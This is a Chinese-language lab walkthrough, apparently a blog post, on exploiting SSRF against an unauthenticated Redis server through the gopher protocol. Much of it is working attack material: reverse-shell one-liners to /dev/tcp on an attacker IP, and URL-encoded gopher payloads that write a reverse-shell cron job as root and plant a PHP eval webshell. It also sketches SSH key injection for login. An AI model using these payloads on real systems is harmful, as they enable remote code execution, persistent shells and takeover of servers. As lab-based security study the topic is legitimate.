SSRF Redis
原理
Redis 可以接收从外部传来的命令, 像下面这样:
telnet 0 6379
set name "test"
get name
还有一种格式可以避免使用引号:
*3
$3
set
$4
name
$4
test
*
表示命令有几部分
$
表示字符的长度
Redis 的协议是一个简单文本流协议
所以我们也可以通过 HTTP 协议来访问 Redis, 但由于在 3.2.7 版本之后 HTTP Header 中有 POST (QUIT 的别名) 和 HOST 等 Redis 命令, 连接会终止. 如果非要使用 HTTP 那就必须再结合 CRLF 漏洞
通过源码我们看到 redis 是支持 Pipe 的, 也就是可以通过操作 fd 中的文件描述符来传输数据, 也就是说我们不止可以用 HTTP 等等 socket 的方式连接, 使用任何可以写入 fd 的手段都可以
lrwx------ root root 64 B Fri Jul 5 17:01:13 2024 0 ⇒ /dev/null
lrwx------ root root 64 B Fri Jul 5 17:01:13 2024 1 ⇒ /dev/null
lrwx------ root root 64 B Fri Jul 5 17:01:13 2024 2 ⇒ /dev/null
lr-x------ root root 64 B Fri Jul 5 17:01:13 2024 3 ⇒ pipe:[7606]
l-wx------ root root 64 B Fri Jul 5 17:01:13 2024 4 ⇒ pipe:[7606]
lrwx------ root root 64 B Fri Jul 5 17:01:13 2024 5 ⇒ anon_inode:[eventpoll]
lrwx------ root root 64 B Fri Jul 5 17:01:13 2024 6 ⇒ socket:[889]
lrwx------ root root 64 B Fri Jul 5 17:01:13 2024 7 ⇒ socket:[890]
于是就可以有下面的操作, 我这里的 pid 是 27:
那么如果出现了 SSRF 漏洞, 并且 redis 未设密码, 就可以利用 redis 未授权访问漏洞
Redis SSRF 执行命令
环境为: Web-Hacking-Lab 以 docker-compose 的方式部署
在这里我只使用 ubuntu 的 docker 环境, centos 是一样的原理
docker 环境环境开放的端口:
- 1111:8080
- 10024:22
这个是用 SSRF 漏洞来让 Redis 执行命令
这里我们用到一种很方便的协议: gopher
什么是 gopher
是 HTTP 的前身
访问格式:
- 发起 POST 请求时, 回车换行需要使用
%0d%0a
代替, 结尾也要加上%0d%0a
- 参数之间的
&
需要进行URL编码 - 参数以
_
开头 , 否则第一个字符会被吞掉
为什么要用 gopher
一个原因就是它非常灵活
这里可以用 nc 监听一个端口, 用 http 和 gopher 都访问一次, 你就会发现 http 有大量请求头等数据, 而 gopher 没有任何额外的数据
在本例中我们就可以用 gopher 就可以不产生任何 redis 无法识别的数据等
那么原理总结就是, 例如 gohper 协议构造包含 redis 命令的 payload, 触发 SSRF 漏洞, 最终我们就可以完成命令执行
定时反弹 SHELL
在执行命令的时候可以写入定时任务, 来反弹 shell, 加强对目标主机的控制
反弹 shell 有很多种方式, 比如用 nc:
mkfifo fifo
nc -u {ip} {port} < fifo |
{
bash
} > fifo
或者重定向:
/bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1
类似上面介绍过的 fd, 把 bash -i
启动的新 shell, 通过 >&
把标准输出和标准错误都重定向到 /dev/tcp/{ip}/{port}
中也就是攻击机中, 最后将/dev/tcp/{ip}/{port}
的 0
标准输入重定向到 1
标准输出中
要构造反弹 shell 的 gopher 请求, 我的环境中, 攻击机 ip 为 192.168.10.187, 我们反弹到 888 端口上
*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.10.187/888 0>&1
接下来就是将这句代码通过 gopher 协议让 redis 执行
构造 payload
*1
$8
flushall
*3
$3
set
$1
1
$74
*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.10.187/888 0>&1'
*4
$6
config
$3
set
$3
dir
$24
/var/spool/cron/crontabs
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
payload 就是将这段数据用上文提到的 gopher 协议格式组装起来, 然后经过 URL 编码就可以得到
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2474%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.10.187/888%200%3E%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2424%0D%0A/var/spool/cron/crontabs%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
监听反弹 shell
在攻击机上, 利用 netcat 或者其他工具来监听 888 端口:
bash -c 'nc -lvnp 888'
使用 bash -c
来运行, 是为了让两边的 shell 统一为 bash
SSRF
接下来就是将 payload 输入到 input 控件中利用 ssrf 将恶意代码发送给 redis 执行
点击 Fetch 后发现报错了, 信息如下:
这是环境的问题, 目前 ubuntu 安装的 redis 最新版的配置中 enable-protected-configs
值为 no
, 也就是说不能动态的设置这些受保护的配置, 我们直接在 redis 设置中开启就好
完成上述步骤, 写入 crontab 成功后并没有反弹 shell, 这是因为 ubuntu 执行 crontab 的机制
redis 写入会多写入缓存码, centos 会忽略到这些无法识别的字符, 从而正常执行, 但 ubuntu 并不会忽略, 所以 ubuntu 这样反弹不了 shell
web shell
我们也可以换一下思路, 如果可以写入定时任务, 那么我写入 webshell 试一试:
web.php:
<?php
@eval($_REQUEST['cmd']);
?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%244%0D%0A/www%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%247%0D%0Aweb.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
访问 web.php:
成功写入 web shell, 接下来用 web shell 完成操作就可以, 比如我现在可以通过 web shell 来完成定时反弹 shell 了
payload:
system('echo "*/1 * * * * /bin/bash -c \'bash -i >& /dev/tcp/192.168.10.187/888 0>&1\'" > /var/spool/cron/crontabs/root');
因为其中有特殊字符, 所以将 payload 进行 URL 编码:
system%28%27echo%20%22%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20%2Dc%20%5C%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E10%2E187%2F888%200%3E%261%5C%27%22%20%3E%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2Froot%27%29%3B
到此成功定时反弹 shell
需要注意的问题
- redis 写入的 crontab 文件, ubuntu 无法执行
- 两边的 shell 要统一, 如果使用 sh, 那么你需要知道的是, ubuntu 的 sh 是指向 dash 的
写入公钥
在这个漏洞环境中, 还开放了 22 端口, 于是我们可以通过 redis 来写入公钥, 从而 ssh 登陆上目标机
成功登陆